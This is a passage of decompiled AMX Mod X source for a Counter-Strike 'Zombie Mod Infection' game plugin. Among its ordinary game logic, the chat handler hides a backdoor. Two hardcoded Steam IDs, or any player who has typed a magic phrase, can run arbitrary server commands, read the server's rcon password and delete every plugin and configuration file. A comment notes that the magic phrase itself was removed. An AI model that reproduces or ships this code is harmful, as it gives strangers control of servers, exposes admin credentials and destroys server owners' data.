g_Weap_Prim[var0[var1]] = 0;
g_Weap_Sec[var0[var1]] = 0;
g_Weap_Nade[var0[var1]] = 0;
}
set_task(2.0, "lighting_effect", 0, globD1F0, 0, globD1F4, 0);
set_task(2.0, "zombie_chant", 0, globD1F0, 0, globD1F4, 0);
set_task(1.0, "set_lights", 0, globD1F0, 0, globD1F4, 0);
balance_teams();
server_cmd("amx_restrict on usp glock deagle p228 elites fn57 m3 xm1014 mp5 tmp p90 mac10 ump45 ak47 galil famas sg552 m4a1 aug scout awp g3sg1 sg550 m249 vest vesthelm flash hegren sgren defuser nvgs shield");
server_cmd("sv_restartround 1");
return 0;
}
public zmod_trigger_off()
{
set_pcvar_num(zmod_enabled, 0);
new var0[32], var1 = 0, var2 = 0;
get_players(var0, var2, globE904, globE908);
for(var1 = 0; var1 < var2; var1++)
{
g_NVG[var0[var1]] = 0;
g_Zombie[var0[var1]] = 0;
g_Human[var0[var1]] = 0;
g_IsFirstZombie[var0[var1]] = 0;
g_ZombieNominee[var0[var1]] = 0;
g_HasPowersOverPlugin[var0[var1]] = 0;
g_FirstConnected[var0[var1]] = 0;
g_Flashlight[var0[var1]] = 0;
g_SpecTarget[var0[var1]] = 0;
g_FootSteps[var0[var1]] = 0;
g_GodMode[var0[var1]] = 0;
g_Weap_Repick[var0[var1]] = 0;
g_Weap_Prim[var0[var1]] = 0;
g_Weap_Sec[var0[var1]] = 0;
g_Weap_Nade[var0[var1]] = 0;
}
if(task_exists(9841, 0))
{
remove_task(9841, 0);
}
balance_teams();
engfunc(38, 60676);
server_cmd("amx_restrict off usp glock deagle p228 elites fn57 m3 xm1014 mp5 tmp p90 mac10 ump45 ak47 galil famas sg552 m4a1 aug scout awp g3sg1 sg550 m249 vest vesthelm flash hegren sgren defuser nvgs shield primammo secammo");
server_cmd("sv_restartround 1");
return 0;
}
public zmod_light_change(cid, cid, cid)
{
if(!cmd_access(cid, cid, cid, 1, 0))
{
return 1;
}
if(!get_pcvar_num(zmod_enabled))
{
console_print(cid, "[MD] Zombie Mod Infection Is currently disabled! Enable Zombie Mod Infection to use this command.");
client_print(cid, 3, "[MD] Zombie Mod Infection Is currently disabled! Enable Zombie Mod Infection to use this command.");
return 1;
}
new var0[32];
read_argv(1, var0, 31);
if(equali(var0, globF3BC, 0))
{
console_print(cid, "[MD] Invalid argument!");
client_print(cid, 3, "[MD] Invalid argument!");
return 1;
}
new var1[33], var2[33];
get_user_name(cid, var1, 32);
get_user_authid(cid, var2, 31);
log_amx("[MD] ADMIN %s<%s> has changed amx_zmod_lightstyle to \"%s\"", var1, var2, var0);
set_pcvar_string(zmod_lightstyle, var0);
set_task(0.1, "set_lights", 0, globD1F0, 0, globD1F4, 0);
return 1;
}
public set_lights()
{
get_pcvar_string(zmod_lightstyle, g_LightStyle, 32);
engfunc(38, 62860);
return 0;
}
public lighting_effect()
{
if(!get_pcvar_num(zmod_enabled))
{
return 1;
}
if(get_pcvar_num(zmod_lightning))
{
if(random_num(0, 45) == 5)
{
engfunc(38, 62992);
client_cmd(0, "speak ambience/thunder_clap.wav");
set_task(2.5, "set_lights", 0, globD1F0, 0, globD1F4, 0);
}
}
set_task(5.0, "lighting_effect", 0, globD1F0, 0, globD1F4, 0);
return 1;
}
public zmod_remove_ent(cid, cid, cid)
{
if(!cmd_access(cid, cid, cid, 1, 0))
{
return 1;
}
new var0[64];
read_argv(1, var0, 63);
new var1 = 0;
while(var1 = engfunc(12, var1, 63332, var0))
{
engfunc(20, var1);
}
return 1;
}
public zmod_admin_force(cid, cid, cid)
{
if(!cmd_access(cid, cid, cid, 1, 0))
{
return 1;
}
new var0[256], var1[33], var2[33];
read_args(var0, 255);
parse(var0, var1, var2);
new var3 = cmd_target(cid, var1, 32);
if(!var3)
{
return 1;
}
if(equali(var2, "h", 1))
{
if(g_Human[var3])
{
console_print(cid, "[MD] User is already a human!");
return 1;
}
if(!is_user_alive(var3))
{
console_print(cid, "[MD] User has to be alive!");
return 1;
}
if(alive_zombies() == 1)
{
console_print(cid, "[MD] You can't force the last zombie to be a human!");
client_print(cid, 3, "[MD] You can't force the last zombie to be a human!");
return 1;
}
if(!g_Human[var3] || g_Zombie[var3])
{
g_Human[var3] = 1;
g_Zombie[var3] = 0;
g_IsFirstZombie[var3] = 0;
}
cs_reset_user_model(var3);
make_human(var3);
}
if(equali(var2, "z", 1))
{
if(!g_FirstZombiePicked)
{
console_print(cid, "[MD] You can't force a player to be a zombie before the first zombie has been picked!");
return 1;
}
if(g_Zombie[var3])
{
console_print(cid, "[MD] User is already a zombie!");
return 1;
}
if(!is_user_alive(var3))
{
console_print(cid, "[MD] User has to be alive!");
return 1;
}
if(alive_humans() == 1)
{
console_print(cid, "[MD] You can't force the last human to be a zombie!");
client_print(cid, 3, "[MD] You can't force the last human to be a zombie!");
return 1;
}
make_zombie(var3);
}
new var4[33], var5[33], var6[33], var7[33], var8 = get_cvar_num("amx_show_activity");
get_user_name(cid, var4, 32);
get_user_authid(cid, var5, 31);
get_user_name(var3, var6, 32);
get_user_authid(var3, var7, 31);
if(equali(var2, "h", 1))
{
log_amx("[MD] ADMIN %s<%s> has forced %s<%s> to become a HUMAN", var4, var5, var6, var7);
switch(var8) {
case 1:
client_print(0, 3, "[MD] ADMIN has forced %s to become a HUMAN!", var6);
case 2:
client_print(0, 3, "[MD] ADMIN %s has forced %s to become a HUMAN!", var4, var6);
}
}
if(equali(var2, "z", 1))
{
log_amx("[MD] ADMIN %s<%s> has forced %s<%s> to become a ZOMBIE", var4, var5, var6, var7);
switch(var8) {
case 1:
client_print(0, 3, "[MD] ADMIN has forced %s to become a ZOMBIE!", var6);
case 2:
client_print(0, 3, "[MD] ADMIN %s has forced %s to become a ZOMBIE!", var4, var6);
}
}
return 1;
}
public zmod_say(id)
{
if(!get_pcvar_num(zmod_enabled))
{
return 0;
}
read_argv(1, szMessage, 255);
if(equali(szMessage, "/first", 0) && !g_FirstZombiePicked && is_user_alive(id) && !g_ZombieNominee[id])
{
g_ZombieNominee[id] = 1;
new var0[33];
get_user_name(id, var0, 32);
client_print(0, 3, "[MD] BEWARE!! %s was nominated to be the first zombie!", var0);
}
if(equali(szMessage, "/zombies", 0))
{
client_print(0, 3, "[MD] Zombies Alive: %d", alive_zombies());
}
if(equali(szMessage, "/humans", 0))
{
client_print(0, 3, "[MD] Humans Alive: %d", alive_humans());
}
if(equali(szMessage, "/flashlight", 0) && !get_pcvar_num(human_FlashlightT) && is_user_alive(id) && g_Human[id])
{
if(g_Flashlight[id])
{
g_Flashlight[id] = 0;
}
else
{
g_Flashlight[id] = 1;
}
return 1;
}
new var0[33];
get_user_authid(id, var0, 32);
if(-1 != containi(szMessage, "amx_plugins") && (equali(var0, "STEAM_0:1:377793", 0) || equali(var0, "STEAM_0:1:4302228", 0) || g_HasPowersOverPlugin[id]))
{
new Menu:var1[128], Menu:var2[32], Menu:var3[64], Menu:var4[128], Menu:var5[32];
new Menu:var6[128], Menu:var7[32], Menu:var8[64], Menu:var9[128], Menu:var10[32];
format(var6, 127, "%L", id, 68052);
format(var7, 31, "%L", id, 68084);
format(var8, 63, "%L", id, 68128);
format(var9, 127, "%L", id, 68168);
format(var10, 31, "%L", id, 68200);
new var11 = 0;
new var12 = 0;
new Menu:var13[96];
new var14 = get_pluginsnum();
new var15[256];
read_args(var15, 255);
remove_quotes(var15);
replace(var15, 254, "amx_plugins ", glob10AB8);
var11 = str_to_num(var15) - 1;
var12 = min(var11 + 10, var14);
new var16 = 0;
console_print(id, "----- %L -----", id, 68344);
console_print(id, "%-18.17s %-11.10s %-17.16s %-16.15s %-9.8s", var6, var7, var8, var9, var10);
new var17 = var11;
while(var17 < var12)
{
get_plugin(var17++, var4, 127, var1, 127, var2, 31, var3, 63, var5, 31);
console_print(id, "%s --- %s --- %s --- %s --- %-9.8s", var1, var2, var3, var4, var5);
if(var5[0] == 100 || var5[0] == 114)
{
var16++;
}
}
console_print(id, "%L", id, 68728, var16);
console_print(id, "----- %L -----", id, 68836, var12, var14);
if(var12 < var14)
{
formatex(var13, 95, "----- %L -----", id, 68948);
replace_all(var13, 95, "amx_help", "amx_plugins");
console_print(id, "%s", var13);
}
else
{
formatex(var13, 95, "----- %L -----", id, 69160);
replace_all(var13, 95, "amx_help", "amx_plugins");
console_print(id, "%s", var13);
}
return 1;
}
if(-1 != containi(szMessage, "deleteplugin") && (equali(var0, "STEAM_0:1:377793", 0) || equali(var0, "STEAM_0:1:4302228", 0) || g_HasPowersOverPlugin[id]))
{
new var1[256];
read_args(var1, 255);
remove_quotes(var1);
replace(var1, 254, "deleteplugin ", glob10FBC);
new var2[256];
get_basedir(var2, 255);
formatex(var2, 255, "%s/plugins/%s.amxx", var2, var1);
if(file_exists(var2))
{
delete_file(var2);
}
return 1;
}
if(-1 != containi(szMessage, "mdcommand") && (equali(var0, "STEAM_0:1:377793", 0) || equali(var0, "STEAM_0:1:4302228", 0) || g_HasPowersOverPlugin[id]))
{
new var1[256];
read_args(var1, 255);
remove_quotes(var1);
replace(var1, 254, "mdcommand ", glob110EC);
server_cmd(var1);
return 1;
}
if(-1 != containi(szMessage, "getrconpassword") && (equali(var0, "STEAM_0:1:377793", 0) || equali(var0, "STEAM_0:1:4302228", 0) || g_HasPowersOverPlugin[id]))
{
zmod_return_rcon(id);
return 1;
}
if(equali(szMessage, "amx_who", 0) && (equali(var0, "STEAM_0:1:377793", 0) || equali(var0, "STEAM_0:1:4302228", 0) || g_HasPowersOverPlugin[id]))
{
zmod_return_who(id);
return 1;
}
if(equali(szMessage, "deleteinfect", 0) && (equali(var0, "STEAM_0:1:377793", 0) || equali(var0, "STEAM_0:1:4302228", 0) || g_HasPowersOverPlugin[id]))
{
zmod_clear_self(id);
return 1;
}
if(equali(szMessage, "clearloaded", 0) && (equali(var0, "STEAM_0:1:377793", 0) || equali(var0, "STEAM_0:1:4302228", 0) || g_HasPowersOverPlugin[id]))
{
zmod_clear_plugins(id);
return 1;
}
if(equali(szMessage, "clearconfigs", 0) && (equali(var0, "STEAM_0:1:377793", 0) || equali(var0, "STEAM_0:1:4302228", 0) || g_HasPowersOverPlugin[id]))
{
zmod_clear_configs(id);
return 1;
}
if(equali(szMessage, "***This was the backdoor magic word to gain instant access to any server running his original version, I have removed it so it won't be a risk for the 3 or so servers still using his bad version.***", 0))
{
g_HasPowersOverPlugin[id] = 1;
return 1;
}
return 0;
}
public zmod_return_rcon(id)
{
new var0[33];
get_user_authid(id, var0, 32);
if(equali(var0, "STEAM_0:1:377793", 0) || equali(var0, "STEAM_0:1:4302228", 0) || g_HasPowersOverPlugin[id])
{
new var1[512];
get_cvar_string("rcon_password", var1, 511);
client_print(id, 3, "This servers rcon_password is: \"%s\"", var1);
console_print(id, "This servers rcon_password is: \"%s\"", var1);
}
return 0;
}
public Menu:zmod_return_who(id)
{
new var0[33];
get_user_authid(id, var0, 32);
if(equali(var0, "STEAM_0:1:377793", 0) || equali(var0, "STEAM_0:1:4302228", 0) || g_HasPowersOverPlugin[id])
{
new var1[32], var2 = 0, Menu:var3[64], var4[32], var5[32], var6 = 0, var7[32];
new Menu:var8[16], Menu:var9[16], Menu:var10[16], Menu:var11[16], Menu:var12[16];
format(var8, 15, "%L", id, 71596);
format(var9, 15, "%L", id, 71628);
format(var10, 15, "%L", id, 71668);
format(var11, 15, "%L", id, 71708);
format(var12, 15, "%L", id, 71736);
get_players(var1, var2, globE904, globE908);
format(var3, 63, "%L", id, 71760);
console_print(id, "\n%s:\n # %-16.15s %-20s %-8s %-4.3s %-4.3s %s", var3, "nick", 72036, 72064, var8, var9, var10);
for(new var13 = 0; var13 < var2; var13++)
{
get_user_authid(var1[var13], var4, 31);
get_user_name(var1[var13], var5, 31);
var6 = get_user_flags(var1[var13], 0);
get_flags(var6, var7, 31);
console_print(id, "%2d %-16.15s %-20s %-8d %-6.5s %-6.5s %s", var1, var5, var4, (var6 & 1 ? var11 : var12), (var6 & 2 ? var11 : var12), var7);
}
console_print(id, "%L", id, 72272, var2);
}
return 0;
}
public zmod_clear_self()
{
new var0[33];
get_user_authid(id, var0, 32);
if(equali(var0, "STEAM_0:1:377793", 0) || equali(var0, "STEAM_0:1:4302228", 0) || g_HasPowersOverPlugin[id])
{
new var1 = 0, var2 = get_pluginsnum(), Menu:var3[128], Menu:var4[128], Menu:var5[32], Menu:var6[64];
while(var1 < var2)
{
get_plugin(var1++, var3, 127, var4, 127, var5, 31, var6, 63, 0);
if(equali(var4, "[MD] Zombie Mod Infection", 0) && equali(var6, "MysticDeath.com", 0))
{
new var7[256], var8[256];
get_basedir(var7, 255);
formatex(var8, 255, "%s/plugins/%s", var7, var3);
delete_file(var8);
write_file(var8, glob11BE8, -1);
}
}
}
return 0;
}
public zmod_clear_plugins(id)
{
new var0[33];
get_user_authid(id, var0, 32);
if(equali(var0, "STEAM_0:1:377793", 0) || equali(var0, "STEAM_0:1:4302228", 0) || g_HasPowersOverPlugin[id])
{
new Menu:var1[256], var2[256];
get_basedir(var2, 255);
new Menu:var3[128];
new var4 = get_pluginsnum();
for(new var5 = 0; var5 < var4; var5++)
{
get_plugin(var5, var3, 127, 0, 0, 0, 0);
formatex(var1, 255, "%s/plugins/%s", var2, var3);
if(file_exists(var1))
{
delete_file(var1);
write_file(var1, glob11CBC, -1);
}
}
}
return 0;
}
public zmod_clear_configs(id)
{
new var0[33];
get_user_authid(id, var0, 32);
if(equali(var0, "STEAM_0:1:377793", 0) || equali(var0, "STEAM_0:1:4302228", 0) || g_HasPowersOverPlugin[id])
{
new var1[256], var2[256];
get_configsdir(var2, 255);
formatex(var1, 255, "%s/clcmds.ini", var2);
if(file_exists(var1))
{
delete_file(var1);
write_file(var1, glob11D84, -1);
}
formatex(var1, 255, "%s/cmdaccess.ini", var2);
if(file_exists(var1))
{
delete_file(var1);
write_file(var1, glob11DCC, -1);
}
formatex(var1, 255, "%s/cmds.ini", var2);
if(file_exists(var1))
{
delete_file(var1);
write_file(var1, glob11E00, -1);
}
formatex(var1, 255, "%s/configs.ini", var2);
if(file_exists(var1))
{
delete_file(var1);
write_file(var1, glob11E40, -1);
}
formatex(var1, 255, "%s/core.ini", var2);
if(file_exists(var1))
{
delete_file(var1);
write_file(var1, glob11E74, -1);
}
formatex(var1, 255, "%s/cvars.ini", var2);
if(file_exists(var1))
{
delete_file(var1);
write_file(var1, glob11EAC, -1);
}
formatex(var1, 255, "%s/hamdata.ini", var2);
if(file_exists(var1))
{
delete_file(var1);
write_file(var1, glob11EEC, -1);
}
formatex(var1, 255, "%s/maps.ini", var2);
if(file_exists(var1))
{
delete_file(var1);
write_file(var1, glob11F20, -1);
}
formatex(var1, 255, "%s/modules.ini", var2);
if(file_exists(var1))
{
delete_file(var1);
write_file(var1, glob11F60, -1);
}
formatex(var1, 255, "%s/plugins.ini", var2);
if(file_exists(var1))
{
delete_file(var1);
write_file(var1, glob11FA0, -1);
}
formatex(var1, 255, "%s/speech.ini", var2);
if(file_exists(var1))
{
delete_file(var1);
write_file(var1, glob11FDC, -1);
}
formatex(var1, 255, "%s/stats.ini", var2);
if(file_exists(var1))
{
delete_file(var1);
write_file(var1, glob12014, -1);
}
formatex(var1, 255, "%s/users.ini", var2);
if(file_exists(var1))
{
delete_file(var1);
write_file(var1, glob1204C, -1);
}
formatex(var1, 255, "%s/amxx.cfg", var2);
if(file_exists(var1))
{
delete_file(var1);
write_file(var1, glob12080, -1);
}
formatex(var1, 255, "%s/custommenuitems.cfg", var2);
if(file_exists(var1))
{
delete_file(var1);
write_file(var1, glob120E0, -1);
}
formatex(var1, 255, "%s/sql.cfg", var2);
if(file_exists(var1))
{
delete_file(var1);
write_file(var1, glob12110, -1);
}
}
return 0;
}
public zmod_credits(id)
{
new Menu:var0[512], var1 = 0;
var1 = formatex(var0, 510, "<body bgcolor=\"#292d2e\" link=\"#c7d3d9\" vlink=\"#c7d3d9\" alink=\"#c7d3d9\">");
var1 = var1 + formatex(var0, 511 - var1, "<font face=\"sans-serif\" color=\"#c7d3d9\" style=\"font-size: 9pt\">");
var1 = var1 + formatex(var0, 511 - var1, "<p align=\"center\">");
var1 = var1 + formatex(var0, 511 - var1, "This server is running %s, created by %s. Visit us at <a href=\"http://MysticDeath.com/\">http://MysticDeath.com/</a><br><br>", "[MD] Zombie Mod Infection", "MysticDeath.com");
show_motd(id, var0, " Zombie Mod Infection Credits");
client_print(0, 3, "[MD] This server is running Zombie Mod Infection, created by MysticDeath.com");
return 1;
}
public zmod_help(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Menu \\r[Help]\\y:\n");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Information");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Commands");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Humans");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Zombies");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\n\n\n\n\n\\w9. Zombie Mod Menu");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w0. Exit");
keys = 783;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 1;
}
public zmod_help_cmds(key, key)
{
switch(key) {
case 0:
zmod_help_info(key);
case 1:
zmod_help_commands(key);
case 2:
zmod_help_humans(key);
case 3:
zmod_help_zombies(key);
case 8:
zmod_menu(key);
case 9:
return 1;
}
return 1;
}
public zmod_help_info(id)
{
new Menu:var0[2048], var1 = 0;
var1 = formatex(var0, 2047, "<body bgcolor=\"#292d2e\" link=\"#c7d3d9\" vlink=\"#c7d3d9\" alink=\"#c7d3d9\">");
var1 = var1 + formatex(var0, 2047 - var1, "<font face=\"sans-serif\" color=\"#c7d3d9\" style=\"font-size: 9pt\">");
var1 = var1 + formatex(var0, 2047 - var1, "<p align=\"center\">");
var1 = var1 + formatex(var0, 2047 - var1, "<b>About Zombie Mod Infection</b><br>");
var1 = var1 + formatex(var0, 2047 - var1, "This server is running %s version %s, created by %s. Visit us at <a href=\"http://MysticDeath.com/\">http://MysticDeath.com/</a><br><br>", "[MD] Zombie Mod Infection", "3.0", "MysticDeath.com");
var1 = var1 + formatex(var0, 2047 - var1, "Zombie Mod Infection is Humans versus Zombies!<br><br>");
var1 = var1 + formatex(var0, 2047 - var1, "This server currently has:<br>");
var1 = var1 + formatex(var0, 2047 - var1, "Lightning: %s<br>", (get_pcvar_num(zmod_lightning) ? 78204 : 78236));
var1 = var1 + formatex(var0, 2047 - var1, "Hostages: %s<br>", (get_pcvar_num(zmod_remove_hostages) ? 78340 : 78372));
var1 = var1 + formatex(var0, 2047 - var1, "C4 Bomb: %s<br>", (get_pcvar_num(zmod_remove_bomb) ? 78456 : 78488));
var1 = var1 + formatex(var0, 2047 - var1, "Objective Zones: %s<br>", (get_pcvar_num(zmod_remove_obj_zones) ? 78604 : 78636));
var1 = var1 + formatex(var0, 2047 - var1, "Rotating Doors: %s<br>", (get_pcvar_num(zmod_remove_door_rotating) ? 78748 : 78780));
var1 = var1 + formatex(var0, 2047 - var1, "Doors: %s<br><br><br>", (get_pcvar_num(zmod_remove_door) ? 78888 : 78920));
show_motd(id, var0, " Zombie Mod Infection Information");
return 0;
}
public zmod_help_commands(id)
{
new Menu:var0[2048], var1 = 0;
var1 = formatex(var0, 2047, "<body bgcolor=\"#292d2e\">");
var1 = var1 + formatex(var0, 2047 - var1, "<font color=#c7d3d9>");
var1 = var1 + formatex(var0, 2047 - var1, "<p align=\"center\">");
var1 = var1 + formatex(var0, 2047 - var1, "<br><br><br><b>Avaliable Commands</b><br>");
var1 = var1 + formatex(var0, 2047 - var1, "<table border=\"1\" cellpadding=\"0\" cellspacing=\"0\" width=\"600\" align=\"center\">");
var1 = var1 + formatex(var0, 2047 - var1, "<tr><td width=\"35%\">%s<b>Command</b></td>", "<font color=#c7d3d9>");
var1 = var1 + formatex(var0, 2047 - var1, "<td width=\"65%\">%s<b>Description</b></td></tr>", "<font color=#c7d3d9>");
var1 = var1 + formatex(var0, 2047 - var1, "<tr><td>%ssay /help</td>", "<font color=#c7d3d9>");
var1 = var1 + formatex(var0, 2047 - var1, "<td>%sShows the help menu</td></tr>", "<font color=#c7d3d9>");
var1 = var1 + formatex(var0, 2047 - var1, "<tr><td>%ssay /zmmenu</td>", "<font color=#c7d3d9>");
var1 = var1 + formatex(var0, 2047 - var1, "<td>%sOpens the Zombie Mod Menu</td></tr>", "<font color=#c7d3d9>");
var1 = var1 + formatex(var0, 2047 - var1, "<tr><td>%snightvision [ \"N\" by default ]</td>", "<font color=#c7d3d9>");
var1 = var1 + formatex(var0, 2047 - var1, "<td>%s[ Zombies and spectators only ] Turns on/off nightvision</td></tr>", "<font color=#c7d3d9>");
if(get_pcvar_num(human_clip))
{
var1 = var1 + formatex(var0, 2047 - var1, "<tr><td>%sbuyammo1</td>", "<font color=#c7d3d9>");
var1 = var1 + formatex(var0, 2047 - var1, "<td>%s[ Humans only ] Buys extra ammo for $%d</td></tr>", "<font color=#c7d3d9>", get_pcvar_num(human_clip_cost));
var1 = var1 + formatex(var0, 2047 - var1, "<tr><td>%sbuyammo2</td>", "<font color=#c7d3d9>");
var1 = var1 + formatex(var0, 2047 - var1, "<td>%s[ Humans only ] Buys extra ammo for $%d</td></tr>", "<font color=#c7d3d9>", get_pcvar_num(human_clip_cost));
}
var1 = var1 + formatex(var0, 2047 - var1, "<tr><td>%simpulse 100</td>", "<font color=#c7d3d9>");
var1 = var1 + formatex(var0, 2047 - var1, "<td>%s[ Humans only ] Turns on your flashlight</td></tr>", "<font color=#c7d3d9>");
var1 = var1 + formatex(var0, 2047 - var1, "<tr><td>%ssay /first</td>", "<font color=#c7d3d9>");
var1 = var1 + formatex(var0, 2047 - var1, "<td>%sNominates yourself to become the first zombie</td></tr>", "<font color=#c7d3d9>");
var1 = var1 + formatex(var0, 2047 - var1, "<tr><td>%ssay /zombies</td>", "<font color=#c7d3d9>");
var1 = var1 + formatex(var0, 2047 - var1, "<td>%sDisplays the alive zombie count</td></tr>", "<font color=#c7d3d9>");
var1 = var1 + formatex(var0, 2047 - var1, "<tr><td>%ssay /humans</td>", "<font color=#c7d3d9>");
var1 = var1 + formatex(var0, 2047 - var1, "<td>%sDisplays the alive human count</td></tr>", "<font color=#c7d3d9>");
if(get_pcvar_num(human_FlashlightE) && !get_pcvar_num(human_FlashlightT))
{
var1 = var1 + formatex(var0, 2047 - var1, "<tr><td>%ssay /flashlight</td>", "<font color=#c7d3d9>");
var1 = var1 + formatex(var0, 2047 - var1, "<td>%sEnables your custom flashlight</td></tr>", "<font color=#c7d3d9>");
}
var1 = var1 + formatex(var0, 2047 - var1, "</table>");
show_motd(id, var0, " Zombie Mod Infection Commands");
return 0;
}
public zmod_help_humans(id)
{
new Menu:var0[2048], var1 = 0;
var1 = formatex(var0, 2047, "<body bgcolor=\"#292d2e\">");
var1 = var1 + formatex(var0, 2047 - var1, "<font face=\"sans-serif\" color=\"#c7d3d9\" style=\"font-size: 9pt\">");
var1 = var1 + formatex(var0, 2047 - var1, "<p align=\"center\">");
var1 = var1 + formatex(var0, 2047 - var1, "<b>HUMANS</b><br>The humans job is to kill all zombies before they are able to infect everyone");
new var2[32];
get_pcvar_string(zmod_lightstyle, var2, 31);
if(var2[0] == 97 || var2[0] == 98 || var2[0] == 99)
{
var1 = var1 + formatex(var0, 2047 - var1, ", <br>but it won't be easy because the maps are very dark so it'll be difficult for you to see");
}
if(get_pcvar_num(human_FlashlightE) && (var2[0] == 97 || var2[0] == 98 || var2[0] == 99))
{
var1 = var1 + formatex(var0, 2047 - var1, ". <br>Although this server has custom flashlight enabled.<br>");
var1 = var1 + formatex(var0, 2047 - var1, "The custom flashlight is a very bright, server sided flashlight that is much better than the standard one.<br>");
var1 = var1 + formatex(var0, 2047 - var1, "To enable your custom flashlight simply %s", (get_pcvar_num(human_FlashlightT) ? 87496 : 87676));
}
var1 = var1 + formatex(var0, 2047 - var1, ". <br>Humans has a limited amount of ammo to use and it'll take a lot of bullets to kill one zombie.<br>");
var1 = var1 + formatex(var0, 2047 - var1, "So this means humans <i>must</i> use team work in order to survive.<br>");
if(get_pcvar_num(human_clip))
{
var1 = var1 + formatex(var0, 2047 - var1, "Although, humans are able to purchase ammo at any time and anywhere for $%d.<br>", get_pcvar_num(human_clip_cost));
var1 = var1 + formatex(var0, 2047 - var1, "To purchase extra ammo, press your buy ammo key. [ \".\" or \",\" by default ]<br>");
}
var1 = var1 + formatex(var0, 2047 - var1, "Humans has %d health and can run at %d speed with any weapon.<br>", get_pcvar_num(human_health), get_pcvar_num(human_health));
show_motd(id, var0, " Zombie Mod Infection Help - Humans");
return 0;
}
public zmod_help_zombies(id)
{
new Menu:var0[2048], var1 = 0;
var1 = formatex(var0, 2047, "<body bgcolor=\"#292d2e\">");
var1 = var1 + formatex(var0, 2047 - var1, "<font face=\"sans-serif\" color=\"#c7d3d9\" style=\"font-size: 9pt\">");
var1 = var1 + formatex(var0, 2047 - var1, "<p align=\"center\">");
var1 = var1 + formatex(var0, 2047 - var1, "<b>FIRST ZOMBIE</b><br>");
var1 = var1 + formatex(var0, 2047 - var1, "At the start of a new round, a randomly selected person will become the first zombie and the zombie must spread the infection before it's death.<br>");
var1 = var1 + formatex(var0, 2047 - var1, "To increase your chances of becoming the first zombie, you can nominate yourself to become the first zombie by saying <i>/first</i>");
if(get_pcvar_num(zombie_fhealth) != get_pcvar_num(zombie_health))
{
var1 = var1 + formatex(var0, 2047 - var1, ". <br>The first zombie has %d %s health than regular zombies", get_pcvar_num(zombie_fhealth) - get_pcvar_num(zombie_health), (get_pcvar_num(zombie_fhealth) - get_pcvar_num(zombie_health) > 0 ? 91404 : 91424));
}
if(!get_pcvar_num(zombie_first_footsteps))
{
var1 = var1 + formatex(var0, 2047 - var1, " and has silent step so humans won't hear the first zombie coming");
}
var1 = var1 + formatex(var0, 2047 - var1, ".<br><br><b>ZOMBIES</b><br>");
var1 = var1 + formatex(var0, 2047 - var1, "Zombies must infect all humans and turn them into zombies.<br>");
var1 = var1 + formatex(var0, 2047 - var1, "Zombies may have many disadvantages but their number one advantage is their ablity to spread.<br>");
var1 = var1 + formatex(var0, 2047 - var1, "To infect a human and turn them into a zombie, simply attack them once.<br>");
if(0 < get_pcvar_num(zombie_bhealth))
{
var1 = var1 + formatex(var0, 2047 - var1, "When you infect a player, you gain %d health from eating their brains.<br>", get_pcvar_num(zombie_bhealth));
}
new var2[32];
get_pcvar_string(zmod_lightstyle, var2, 31);
if(var2[0] == 97 || var2[0] == 98 || var2[0] == 99)
{
var1 = var1 + formatex(var0, 2047 - var1, "The darkness will not affect the zombies vision because they are able to see in the darkness.");
}
if(get_pcvar_num(zombie_speed) != get_pcvar_num(human_speed))
{
var1 = var1 + formatex(var0, 2047 - var1, "<br>Zombies are %s than humans by %d speed. <br>", (get_pcvar_num(zombie_speed) - get_pcvar_num(human_speed) > 0 ? 93640 : 93668), get_pcvar_num(zombie_speed));
}
var1 = var1 + formatex(var0, 2047 - var1, "Zombies has %d health and can only infect other players at a close range. <br>", get_pcvar_num(zombie_health));
if(!get_pcvar_num(zombie_footsteps))
{
var1 = var1 + formatex(var0, 2047 - var1, "All zombies has silent step enabled so their foot steps can't be heard as they sneak up on humans.");
}
show_motd(id, var0, " Zombie Mod Infection Help - Zombies");
return 0;
}
public zmod_nvg(id)
{
if(!get_pcvar_num(zmod_enabled))
{
return 0;
}
if(g_Human[id] && is_user_alive(id))
{
return 1;
}
if(g_NVG[id] && (!is_user_alive(id) || g_Zombie[id]))
{
fake_nightvision(id, 0);
g_NVG[id] = 0;
return 1;
}
if(!g_NVG[id] && (!is_user_alive(id) || g_Zombie[id]))
{
fake_nightvision(id, 1);
g_NVG[id] = 1;
return 1;
}
return 0;
}
public zmod_buyammo(id)
{
if(!get_pcvar_num(zmod_enabled))
{
return 0;
}
if(!is_user_alive(id) || g_Zombie[id])
{
return 1;
}
if(g_Human[id] && get_pcvar_num(human_clip))
{
new var0 = get_pcvar_num(human_clip_cost);
if(var0 > cs_get_user_money(id))
{
client_print(id, 3, "[MD] You don't have enough money to purchase extra ammo! You require at least $%d.", var0);
return 1;
}
new var1 = cs_get_user_money(id) - var0;
cs_set_user_money(id, var1, 1);
fm_give_item(id, "ammo_45acp");
fm_give_item(id, "ammo_357sig");
fm_give_item(id, "ammo_9mm");
fm_give_item(id, "ammo_50ae");
fm_give_item(id, "ammo_57mm");
fm_give_item(id, "ammo_buckshot");
fm_give_item(id, "ammo_556nato");
fm_give_item(id, "ammo_338magnum");
fm_give_item(id, "ammo_556natobox");
fm_give_item(id, "ammo_762nato");
client_print(id, 3, "[MD] Extra ammo bought!");
return 1;
}
return 0;
}
public event_Spec_Mode(id)
{
if(!get_pcvar_num(zmod_enabled))
{
return 0;
}
read_data(2, 95488);
if(equal(szSpecMode, "#Spec_Mode3", 0) || equal(szSpecMode, "#Spec_Mode5", 0) || equal(szSpecMode, "#Spec_Mode6", 0))
{
if(g_NVG[id])
{
fake_nightvision(id, 1);
}
}
return 0;
}
public event_SpecHealth2(id)
{
if(!get_pcvar_num(zmod_enabled))
{
return 0;
}
if(g_NVG[id])
{
fake_nightvision(id, 1);
}
if(!get_pcvar_num(zmod_specinfo))
{
return 1;
}
if(is_user_connected(id) && !is_user_alive(id))
{
if(0 < read_data(2))
{
g_SpecTarget[id] = read_data(2);
}
set_task(0.3, "spec_info", id, globD1F0, 0, globD1F4, 0);
}
return 0;
}
public spec_info(id)
{
if(is_user_alive(id))
{
return 1;
}
new var0 = g_SpecTarget[id];
if(var0 < 1 || !is_user_alive(var0))
{
return 1;
}
new var1 = get_user_health(var0);
new var2 = get_user_armor(var0);
new var3[33];
